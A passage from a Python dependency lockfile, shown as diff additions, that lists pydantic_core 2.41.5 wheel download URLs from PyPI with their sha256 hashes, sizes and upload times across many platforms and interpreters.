"https://files.pythonhosted.org/packages/b0/3b/698cf8ae1d536a010e05121b4958b1257f0b5522085e335360e53a6b1c8b/pydantic_core-2.41.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c1df3d34aced70add6f867a8cf413e299177e0c22660cc767218373d0779487b", size = 2175761, upload-time = "2025-11-04T13:39:44.553Z" }, + { url = "https://files.pythonhosted.org/packages/b8/ba/15d537423939553116dea94ce02f9c31be0fa9d0b806d427e0308ec17145/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:4009935984bd36bd2c774e13f9a09563ce8de4abaa7226f5108262fa3e637284", size = 2146303, upload-time = "2025-11-04T13:39:46.238Z" }, + { url = "https://files.pythonhosted.org/packages/58/7f/0de669bf37d206723795f9c90c82966726a2ab06c336deba4735b55af431/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:34a64bc3441dc1213096a20fe27e8e128bd3ff89921706e83c0b1ac971276594", size = 2340355, upload-time = "2025-11-04T13:39:48.002Z" }, + { url = "https://files.pythonhosted.org/packages/e5/de/e7482c435b83d7e3c3ee5ee4451f6e8973cff0eb6007d2872ce6383f6398/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c9e19dd6e28fdcaa5a1de679aec4141f691023916427ef9bae8584f9c2fb3b0e", size = 2319875, upload-time = "2025-11-04T13:39:49.705Z" }, + { url = "https://files.pythonhosted.org/packages/fe/e6/8c9e81bb6dd7560e33b9053351c29f30c8194b72f2d6932888581f503482/pydantic_core-2.41.5-cp311-cp311-win32.whl", hash = "sha256:2c010c6ded393148374c0f6f0bf89d206bf3217f201faa0635dcd56bd1520f6b", size = 1987549, upload-time = "2025-11-04T13:39:51.842Z" }, + { url = "https://files.pythonhosted.org/packages/11/66/f14d1d978ea94d1bc21fc98fcf570f9542fe55bfcc40269d4e1a21c19bf7/pydantic_core-2.41.5-cp311-cp311-win_amd64.whl", hash = "sha256:76ee27c6e9c7f16f47db7a94157112a2f3a00e958bc626e2f4ee8bec5c328fbe", size = 2011305, upload-time = "2025-11-04T13:39:53.485Z" }, + { url = "https://files.pythonhosted.org/packages/56/d8/0e271434e8efd03186c5386671328154ee349ff0354d83c74f5caaf096ed/pydantic_core-2.41.5-cp311-cp311-win_arm64.whl", hash = "sha256:4bc36bbc0b7584de96561184ad7f012478987882ebf9f9c389b23f432ea3d90f", size = 1972902, upload-time = "2025-11-04T13:39:56.488Z" }, + { url = "https://files.pythonhosted.org/packages/5f/5d/5f6c63eebb5afee93bcaae4ce9a898f3373ca23df3ccaef086d0233a35a7/pydantic_core-2.41.5-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:f41a7489d32336dbf2199c8c0a215390a751c5b014c2c1c5366e817202e9cdf7", size = 2110990, upload-time = "2025-11-04T13:39:58.079Z" }, + { url = "https://files.pythonhosted.org/packages/aa/32/9c2e8ccb57c01111e0fd091f236c7b371c1bccea0fa85247ac55b1e2b6b6/pydantic_core-2.41.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:070259a8818988b9a84a449a2a7337c7f430a22acc0859c6b110aa7212a6d9c0", size = 1896003, upload-time = "2025-11-04T13:39:59.956Z" }, + { url = "https://files.pythonhosted.org/packages/68/b8/a01b53cb0e59139fbc9e4fda3e9724ede8de279097179be4ff31f1abb65a/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e96cea19e34778f8d59fe40775a7a574d95816eb150850a85a7a4c8f4b94ac69", size = 1919200, upload-time = "2025-11-04T13:40:02.241Z" }, + { url = "https://files.pythonhosted.org/packages/38/de/8c36b5198a29bdaade07b5985e80a233a5ac27137846f3bc2d3b40a47360/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ed2e99c456e3fadd05c991f8f437ef902e00eedf34320ba2b0842bd1c3ca3a75", size = 2052578, upload-time = "2025-11-04T13:40:04.401Z" }, + { url = "https://files.pythonhosted.org/packages/00/b5/0e8e4b5b081eac6cb3dbb7e60a65907549a1ce035a724368c330112adfdd/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:65840751b72fbfd82c3c640cff9284545342a4f1eb1586ad0636955b261b0b05", size = 2208504, upload-time = "2025-11-04T13:40:06.072Z" }, + { url = "https://files.pythonhosted.org/packages/77/56/87a61aad59c7c5b9dc8caad5a41a5545cba3810c3e828708b3d7404f6cef/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e536c98a7626a98feb2d3eaf75944ef6f3dbee447e1f841eae16f2f0a72d8ddc", size = 2335816, upload-time = "2025-11-04T13:40:07.835Z" }, + { url = "https://files.pythonhosted.org/packages/0d/76/941cc9f73529988688a665a5c0ecff1112b3d95ab48f81db5f7606f522d3/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c", size = 2075366, upload-time = "2025-11-04T13:40:09.804Z" }, + { url = "https://files.pythonhosted.org/packages/d3/43/ebef01f69baa07a482844faaa0a591bad1ef129253ffd0cdaa9d8a7f72d3/pydantic_core-2.41.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d38548150c39b74aeeb0ce8ee1d8e82696f4a4e16ddc6de7b1d8823f7de4b9b5", size = 2171698, upload-time = "2025-11-04T13:40:12.004Z" }, + { url = "https://files.pythonhosted.org/packages/b1/87/41f3202e4193e3bacfc2c065fab7706ebe81af46a83d3e27605029c1f5a6/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:c23e27686783f60290e36827f9c626e63154b82b116d7fe9adba1fda36da706c", size = 2132603, upload-time = "2025-11-04T13:40:13.868Z" }, + { url = "https://files.pythonhosted.org/packages/49/7d/4c00df99cb12070b6bccdef4a195255e6020a550d572768d92cc54dba91a/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:482c982f814460eabe1d3bb0adfdc583387bd4691ef00b90575ca0d2b6fe2294", size = 2329591, upload-time = "2025-11-04T13:40:15.672Z" }, + { url = "https://files.pythonhosted.org/packages/cc/6a/ebf4b1d65d458f3cda6a7335d141305dfa19bdc61140a884d165a8a1bbc7/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:bfea2a5f0b4d8d43adf9d7b8bf019fb46fdd10a2e5cde477fbcb9d1fa08c68e1", size = 2319068, upload-time = "2025-11-04T13:40:17.532Z" }, + { url = "https://files.pythonhosted.org/packages/49/3b/774f2b5cd4192d5ab75870ce4381fd89cf218af999515baf07e7206753f0/pydantic_core-2.41.5-cp312-cp312-win32.whl", hash = "sha256:b74557b16e390ec12dca509bce9264c3bbd128f8a2c376eaa68003d7f327276d", size = 1985908, upload-time = "2025-11-04T13:40:19.309Z" }, + { url = "https://files.pythonhosted.org/packages/86/45/00173a033c801cacf67c190fef088789394feaf88a98a7035b0e40d53dc9/pydantic_core-2.41.5-cp312-cp312-win_amd64.whl", hash = "sha256:1962293292865bca8e54702b08a4f26da73adc83dd1fcf26fbc875b35d81c815", size = 2020145, upload-time = "2025-11-04T13:40:21.548Z" }, + { url = "https://files.pythonhosted.org/packages/f9/22/91fbc821fa6d261b376a3f73809f907cec5ca6025642c463d3488aad22fb/pydantic_core-2.41.5-cp312-cp312-win_arm64.whl", hash = "sha256:1746d4a3d9a794cacae06a5eaaccb4b8643a131d45fbc9af23e353dc0a5ba5c3", size = 1976179, upload-time = "2025-11-04T13:40:23.393Z" }, + { url = "https://files.pythonhosted.org/packages/87/06/8806241ff1f70d9939f9af039c6c35f2360cf16e93c2ca76f184e76b1564/pydantic_core-2.41.5-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:941103c9be18ac8daf7b7adca8228f8ed6bb7a1849020f643b3a14d15b1924d9", size = 2120403, upload-time = "2025-11-04T13:40:25.248Z" }, + { url = "https://files.pythonhosted.org/packages/94/02/abfa0e0bda67faa65fef1c84971c7e45928e108fe24333c81f3bfe35d5f5/pydantic_core-2.41.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:112e305c3314f40c93998e567879e887a3160bb8689ef3d2c04b6cc62c33ac34", size = 1896206, upload-time = "2025-11-04T13:40:27.099Z" }, + { url = "https://files.pythonhosted.org/packages/15/df/a4c740c0943e93e6500f9eb23f4ca7ec9bf71b19e608ae5b579678c8d02f/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0cbaad15cb0c90aa221d43c00e77bb33c93e8d36e0bf74760cd00e732d10a6a0", size = 1919307, upload-time = "2025-11-04T13:40:29.806Z" }, + { url = "https://files.pythonhosted.org/packages/9a/e3/6324802931ae1d123528988e0e86587c2072ac2e5394b4bc2bc34b61ff6e/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:03ca43e12fab6023fc79d28ca6b39b05f794ad08ec2feccc59a339b02f2b3d33", size = 2063258, upload-time = "2025-11-04T13:40:33.544Z" }, + { url = "https://files.pythonhosted.org/packages/c9/d4/2230d7151d4957dd79c3044ea26346c148c98fbf0ee6ebd41056f2d62ab5/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dc799088c08fa04e43144b164feb0c13f9a0bc40503f8df3e9fde58a3c0c101e", size = 2214917, upload-time = "2025-11-04T13:40:35.479Z" }, + { url = "https://files.pythonhosted.org/packages/e6/9f/eaac5df17a3672fef0081b6c1bb0b82b33ee89aa5cec0d7b05f52fd4a1fa/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:97aeba56665b4c3235a0e52b2c2f5ae9cd071b8a8310ad27bddb3f7fb30e9aa2", size = 2332186, upload-time = "2025-11-04T13:40:37.436Z" }, + { url = "https://files.pythonhosted.org/packages/cf/4e/35a80cae583a37cf15604b44240e45c05e04e86f9cfd766623149297e971/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:406bf18d345822d6c21366031003612b9c77b3e29ffdb0f612367352aab7d586", size = 2073164, upload-time = "2025-11-04T13:40:40.289Z" }, + { url = "https://files.pythonhosted.org/packages/bf/e3/f6e262673c6140dd3305d144d032f7bd5f7497d3871c1428521f19f9efa2/pydantic_core-2.41.5-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b93590ae81f7010dbe380cdeab6f515902ebcbefe0b9327cc4804d74e93ae69d", size = 2179146, upload-time = "2025-11-04T13:40:42.809Z" }, + { url = "https://files.pythonhosted.org/packages/75/c7/20bd7fc05f0c6ea2056a4565c6f36f8968c0924f19b7d97bbfea55780e73/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:01a3d0ab748ee531f4ea6c3e48ad9dac84ddba4b0d82291f87248f2f9de8d740", size = 2137788, upload-time = "2025-11-04T13:40:44.752Z" }, + { url = "https://files.pythonhosted.org/packages/3a/8d/34318ef985c45196e004bc46c6eab2eda437e744c124ef0dbe1ff2c9d06b/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:6561e94ba9dacc9c61bce40e2d6bdc3bfaa0259d3ff36ace3b1e6901936d2e3e", size = 2340133, upload-time = "2025-11-04T13:40:46.66Z" }, + { url = "https://files.pythonhosted.org/packages/9c/59/013626bf8c78a5a5d9350d12e7697d3d4de951a75565496abd40ccd46bee/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:915c3d10f81bec3a74fbd4faebe8391013ba61e5a1a8d48c4455b923bdda7858", size = 2324852, upload-time = "2025-11-04T13:40:48.575Z" }, + { url = "https://files.pythonhosted.org/packages/1a/d9/c248c103856f807ef70c18a4f986693a46a8ffe1602e5d361485da502d20/pydantic_core-2.41.5-cp313-cp313-win32.whl", hash = "sha256:650ae77860b45cfa6e2cdafc42618ceafab3a2d9a3811fcfbd3bbf8ac3c40d36", size = 1994679, upload-time = "2025-11-04T13:40:50.619Z" }, + { url = "https://files.pythonhosted.org/packages/9e/8b/341991b158ddab181cff136acd2552c9f35bd30380422a639c0671e99a91/pydantic_core-2.41.5-cp313-cp313-win_amd64.whl", hash = "sha256:79ec52ec461e99e13791ec6508c722742ad745571f234ea6255bed38c6480f11", size = 2019766, upload-time = "2025-11-04T13:40:52.631Z" }, + { url = "https://files.pythonhosted.org/packages/73/7d/f2f9db34af103bea3e09735bb40b021788a5e834c81eedb541991badf8f5/pydantic_core-2.41.5-cp313-cp313-win_arm64.whl", hash = "sha256:3f84d5c1b4ab906093bdc1ff10484838aca54ef08de4afa9de0f5f14d69639cd", size = 1981005, upload-time = "2025-11-04T13:40:54.734Z" }, + { url = "https://files.pythonhosted.org/packages/ea/28/46b7c5c9635ae96ea0fbb779e271a38129df2550f763937659ee6c5dbc65/pydantic_core-2.41.5-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:3f37a19d7ebcdd20b96485056ba9e8b304e27d9904d233d7b1015db320e51f0a", size = 2119622, upload-time = "2025-11-04T13:40:56.68Z" }, + { url = "https://files.pythonhosted.org/packages/74/1a/145646e5687e8d9a1e8d09acb278c8535ebe9e972e1f162ed338a622f193/pydantic_core-2.41.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1d1d9764366c73f996edd17abb6d9d7649a7eb690006ab6adbda117717099b14", size = 1891725, upload-time = "2025-11-04T13:40:58.807Z" }, + { url = "https://files.pythonhosted.org/packages/23/04/e89c29e267b8060b40dca97bfc64a19b2a3cf99018167ea1677d96368273/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:25e1c2af0fce638d5f1988b686f3b3ea8cd7de5f244ca147c777769e798a9cd1", size = 1915040, upload-time = "2025-11-04T13:41:00.853Z" }, + { url = "https://files.pythonhosted.org/packages/84/a3/15a82ac7bd97992a82257f777b3583d3e84bdb06ba6858f745daa2ec8a85/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:506d766a8727beef16b7adaeb8ee6217c64fc813646b424d0804d67c16eddb66", size = 2063691, upload-time = "2025-11-04T13:41:03.504Z" }, + { url = "https://files.pythonhosted.org/packages/74/9b/0046701313c6ef08c0c1cf0e028c67c770a4e1275ca73131563c5f2a310a/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4819fa52133c9aa3c387b3328f25c1facc356491e6135b459f1de698ff64d869", size = 2213897, upload-time = "2025-11-04T13:41:05.804Z" }, + { url = "https://files.pythonhosted.org/packages/8a/cd/6bac76ecd1b27e75a95ca3a9a559c643b3afcd2dd62086d4b7a32a18b169/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2b761d210c9ea91feda40d25b4efe82a1707da2ef62901466a42492c028553a2", size = 2333302, upload-time = "2025-11-04T13:41:07.809Z" }, + { url = "https://files.pythonhosted.org/packages/4c/d2/ef2074dc020dd6e109611a8be4449b98cd25e1b9b8a303c2f0fca2f2bcf7/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:22f0fb8c1c583a3b6f24df2470833b40207e907b90c928cc8d3594b76f874375", size = 2064877, upload-time = "2025-11-04T13:41:09.827Z" }, + { url = "https://files.pythonhosted.org/packages/18/66/e9db17a9a763d72f03de903883c057b2592c09509ccfe468187f2a2eef29/pydantic_core-2.41.5-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2782c870e99878c634505236d81e5443092fba820f0373997ff75f90f68cd553", size = 2180680, upload-time = "2025-11-04T13:41:12.379Z" }, + { url = "https://files.pythonhosted.org/packages/d3/9e/3ce66cebb929f3ced22be85d4c2399b8e85b622db77dad36b73c5387f8f8/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:0177272f88ab8312479336e1d777f6b124537d47f2123f89cb37e0accea97f90", size = 2138960, upload-time = "2025-11-04T13:41:14.627Z" }, + { url = "https://files.pythonhosted.org/packages/a6/62/205a998f4327d2079326b01abee48e502ea739d174f0a89295c481a2272e/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:63510af5e38f8955b8ee5687740d6ebf7c2a0886d15a6d65c32814613681bc07", size = 2339102, upload-time = "2025-11-04T13:41:16.868Z" }, + { url = "https://files.pythonhosted.org/packages/3c/0d/f05e79471e889d74d3d88f5bd20d0ed189ad94c2423d81ff8d0000aab4ff/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:e56ba91f47764cc14f1daacd723e3e82d1a89d783f0f5afe9c364b8bb491ccdb", size = 2326039, upload-time = "2025-11-04T13:41:18.934Z" }, + { url = "https://files.pythonhosted.org/packages/ec/e1/e08a6208bb100da7e0c4b288eed624a703f4d129bde2da475721a80cab32/pydantic_core-2.41.5-cp314-cp314-win32.whl", hash = "sha256:aec5cf2fd867b4ff45b9959f8b20ea3993fc93e63c7363fe6851424c8a7e7c23", size = 1995126, upload-time = "2025-11-04T13:41:21.418Z" }, + { url = "https://files.pythonhosted.org/packages/48/5d/56ba7b24e9557f99c9237e29f5c09913c81eeb2f3217e40e922353668092/pydantic_core-2.41.5-cp314-cp314-win_amd64.whl", hash = "sha256:8e7c86f27c585ef37c35e56a96363ab8de4e549a95512445b85c96d3e2f7c1bf", size = 2015489, upload-time = "2025-11-04T13:41:24.076Z" }, + { url = "https://files.pythonhosted.org/packages/4e/bb/f7a190991ec9e3e0ba22e4993d8755bbc4a32925c0b5b42775c03e8148f9/pydantic_core-2.41.5-cp314-cp314-win_arm64.whl", hash = "sha256:e672ba74fbc2dc8eea59fb6d4aed6845e6905fc2a8afe93175d94a83ba2a01a0", size = 1977288, upload-time = "2025-11-04T13:41:26.33Z" }, + { url = "https://files.pythonhosted.org/packages/92/ed/77542d0c51538e32e15afe7899d79efce4b81eee631d99850edc2f5e9349/pydantic_core-2.41.5-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:8566def80554c3faa0e65ac30ab0932b9e3a5cd7f8323764303d468e5c37595a", size = 2120255, upload-time = "2025-11-04T13:41:28.569Z" }, + { url = "https://files.pythonhosted.org/packages/bb/3d/6913dde84d5be21e284439676168b28d8bbba5600d838b9dca99de0fad71/pydantic_core-2.41.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:b80aa5095cd3109962a298ce14110ae16b8c1aece8b72f9dafe81cf597ad80b3", size = 1863760, upload-time = "2025-11-04T13:41:31.055Z" }, + { url = "https://files.pythonhosted.org/packages/5a/f0/e5e6b99d4191da102f2b0eb9687aaa7f5bea5d9964071a84effc3e40f997/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3006c3dd9ba34b0c094c544c6006cc79e87d8612999f1a5d43b769b89181f23c", size = 1878092, upload-time = "2025-11-04T13:41:33.21Z" }, + { url = "https://files.pythonhosted.org/packages/71/48/36fb760642d568925953bcc8116455513d6e34c4beaa37544118c36aba6d/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:72f6c8b11857a856bcfa48c86f5368439f74453563f951e473514579d44aa612", size = 2053385, upload-time = "2025-11-04T13:41:35.508Z" }, + { url = "https://files.pythonhosted.org/packages/20/25/92dc684dd8eb75a234bc1c764b4210cf2646479d54b47bf46061657292a8/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5cb1b2f9742240e4bb26b652a5aeb840aa4b417c7748b6f8387927bc6e45e40d", size = 2218832, upload-time = "2025-11-04T13:41:37.732Z" }, + { url = "https://files.pythonhosted.org/packages/e2/09/f53e0b05023d3e30357d82eb35835d0f6340ca344720a4599cd663dca599/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bd3d54f38609ff308209bd43acea66061494157703364ae40c951f83ba99a1a9", size = 2327585, upload-time = "2025-11-04T13:41:40Z" }, + { url = "https://files.pythonhosted.org/packages/aa/4e/2ae1aa85d6af35a39b236b1b1641de73f5a6ac4d5a7509f77b814885760c/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2ff4321e56e879ee8d2a879501c8e469414d948f4aba74a2d4593184eb326660", size = 2041078, upload-time = "2025-11-04T13:41:42.323Z" }, + { url = "https://files.pythonhosted.org/packages/cd/13/2e215f17f0ef326fc72afe94776edb77525142c693767fc347ed6288728d/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d0d2568a8c11bf8225044aa94409e21da0cb09dcdafe9ecd10250b2baad531a9", size = 2173914, upload-time = "2025-11-04T13:41:45.221Z" }, + { url = "https://files.pythonhosted.org/packages/02/7a/f999a6dcbcd0e5660bc348a3991c8915ce6599f4f2c6ac22f01d7a10816c/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:a39455728aabd58ceabb03c90e12f71fd30fa69615760a075b9fec596456ccc3", size = 2129560, upload-time = "2025-11-04T13:41:47.474Z" }, + { url = "https://files.pythonhosted.org/packages/3a/b1/6c990ac65e3b4c079a4fb9f5b05f5b013afa0f4ed6780a3dd236d2cbdc64/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:239edca560d05757817c13dc17c50766136d21f7cd0fac50295499ae24f90fdf", size = 2329244, upload-time = "2025-11-04T13:41:49.992Z" }, + { url = "https://files.pythonhosted.org/packages/d9/02/3c562f3a51afd4d88fff8dffb1771b30cfdfd79befd9883ee094f5b6c0d8/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:2a5e06546e19f24c6a96a129142a75cee553cc018ffee48a460059b1185f4470", size = 2331955, upload-time = "2025-11-04T13:41:54.079Z" }, + { url = "https://files.pythonhosted.org/packages/5c/96/5fb7d8c3c17bc8c62fdb031c47d77a1af698f1d7a406b0f79aaa1338f9ad/pydantic_core-2.41.5-cp314-cp314t-win32.whl", hash = "sha256:b4ececa40ac28afa90871c2cc2b9ffd2ff0bf749380fbdf57d165fd23da353aa", size = 1988906, upload-time = "2025-11-04T13:41:56.606Z" }, + { url = "https://files.pythonhosted.org/packages/22/ed/182129d83032702912c2e2d8bbe33c036f342cc735737064668585dac28f/pydantic_core-2.41.5-cp314-cp314t-win_amd64.whl", hash = "sha256:80aa89cad80b32a912a65332f64a4450ed00966111b6615ca6816153d3585a8c", size = 1981607, upload-time = "2025-11-04T13:41:58.889Z" }, + { url = "https://files.pythonhosted.org/packages/9f/ed/068e41660b832bb0b1aa5b58011dea2a3fe0ba7861ff38c4d4904c1c1a99/pydantic_core-2.41.5-cp314-cp314t-win_arm64.whl", hash = "sha256:35b44f37a3199f771c3eaa53051bc8a70cd7b54f333531c59e29fd4db5d15008", size = 1974769, upload-time = "2025-11-04T13:42:01.186Z" }, + { url = "https://files.pythonhosted.org/packages/11/72/90fda5ee3b97e51c494938a4a44c3a35a9c96c19bba12372fb9c634d6f57/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:b96d5f26b05d03cc60f11a7761a5ded1741da411e7fe0909e27a5e6a0cb7b034", size = 2115441, upload-time = "2025-11-04T13:42:39.557Z" }, + { url = "https://files.pythonhosted.org/packages/1f/53/8942f884fa33f50794f119012dc6a1a02ac43a56407adaac20463df8e98f/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:634e8609e89ceecea15e2d61bc9ac3718caaaa71963717bf3c8f38bfde64242c", size = 1930291, upload-time = "2025-11-04T13:42:42.169Z" }, + { url = "https://files.pythonhosted.org/packages/79/c8/ecb9ed9cd942bce09fc888ee960b52654fbdbede4ba6c2d6e0d3b1d8b49c/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93e8740d7503eb008aa2df04d3b9735f845d43ae845e6dcd2be0b55a2da43cd2", size = 1948632, upload-time = "2025-11-04T13:42:44.564Z" }, + { url = "https://files.pythonhosted.org/packages/2e/1b/687711069de7efa6af934e74f601e2a4307365e8fdc404703afc453eab26/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f15489ba13d61f670dcc96772e733aad1a6f9c429cc27574c6cdaed82d0146ad", size = 2138905, upload-time = "2025-11-04T13:42:47.156Z" }, + { url = "https://files.pythonhosted.org/packages/09/32/59b0c7e63e277fa7911c2fc70ccfb45ce4b98991e7ef37110663437005af/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:7da7087d756b19037bc2c06edc6c170eeef3c3bafcb8f532ff17d64dc427adfd", size = 2110495, upload-time = "2025-11-04T13:42:49.689Z" }, + { url = "https://files.pythonhosted.org/packages/aa/81/05e400037eaf55ad400bcd318c05bb345b57e708887f07ddb2d20e3f0e98/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:aabf5777b5c8ca26f7824cb4a120a740c9588ed58df9b2d196ce92fba42ff8dc", size = 1915388, upload-time = "2025-11-04T13:42:52.215Z" }, + { url = "https://files.pythonhosted.org/packages/6e/0d/e3549b2399f71d56476b77dbf3cf8937cec5cd70536bdc0e374a421d0599/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c007fe8a43d43b3969e8469004e9845944f1a80e6acd47c150856bb87f230c56", size = 1942879, upload-time = "2025-11-04T13:42:56.483Z" }, + { url = "https://files.pythonhosted.org/packages/f7/07/34573da085946b6a313d7c42f82f16e8920bfd730665de2d11c0c37a74b5/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76d0819de158cd855d1cbb8fcafdf6f5cf1eb8e470abe056d5d161106e38062b", size = 2139017, upload-time = "2025-11-04T13:42:59.471Z" }, + { url = "https://files.pythonhosted.org/packages/e6/b0/1a2aa41e3b5a4ba11420aba2d091b2d17959c8d1519ece3627c371951e73/pydantic_core-2.41.5-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b5819cd790dbf0c5eb9f82c73c16b39a65dd6dd4d1439dcdea7816ec9adddab8", size = 2103351, upload-time = "2025-11-04T13:43:02.058Z" }, + { url = "https://files.pythonhosted.org/packages/a4/ee/31b1f0020baaf6d091c87900ae05c6aeae101fa4e188e1613c80e4f1ea31/pydantic_core-2.41.5-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:5a4e67afbc95fa5c34cf27d9089bca7fcab4e51e57278d710320a70b956d1b9a", size = 1925363, upload-time = "2025-11-04T13:43:05.159Z" }, + { url = "https://files.pythonhosted.org/packages/e1/89/ab8e86208467e467a80deaca4e434adac37b10a9d134cd2f99b28a01e483/pydantic_core-2.41.5-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ece5c59f0ce7d001e017643d8d24da587ea1f74f6993467d85ae8a5ef9d4f42b", size = 2135615, upload-time = "2025-11-04T13:43:08.116Z" }, + { url = "https://files.pythonhosted.org/packages/99/0a/99a53d06dd0348b2008f2f30884b34719c323f16c3be4e6cc1203b74a91d/pydantic_core-2.41.5-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:16f80f7abe3351f8ea6858914ddc8c77e02578544a0ebc15b4c2e1a0e813b0b2", size = 2175369, upload-time = "2025-11-04T13:43:12.49Z" }, + { url = "https://files.pythonhosted.org/packages/6d/94/30ca3b73c6d485b9bb0bc66e611cff4a7138ff9736b7e66bcf0852151636/pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:33cb885e759a705b426baada1fe68cbb0a2e68e34c5d0d0289a364cf01709093", size = 2144218, upload-time = "2025-11-04T13:43:15.431Z" }, + { url = "https://files.pythonhosted.org/packages/87/57/31b4f8e12680b739a91f472b5671294236b82586889ef764b5fbc6669238/pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:c8d8b4eb992936023be7dee581270af5c6e0697a8559895f527f5b7105ecd36a", size = 2329951, upload-time = "2025-11-04T13:43:18.062Z" }, + { url = "https://files.pythonhosted.org/packages/7d/73/3c2c8edef77b8f7310e6fb012dbc4b8551386ed575b9eb6fb2506e28a7eb/pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:242a206cd0318f95cd21bdacff3fcc3aab23e79bba5cac3db5a841c9ef9c6963", size = 2318428, upload-time = "2025-11-04T13:43:20.679Z" }, + { url = 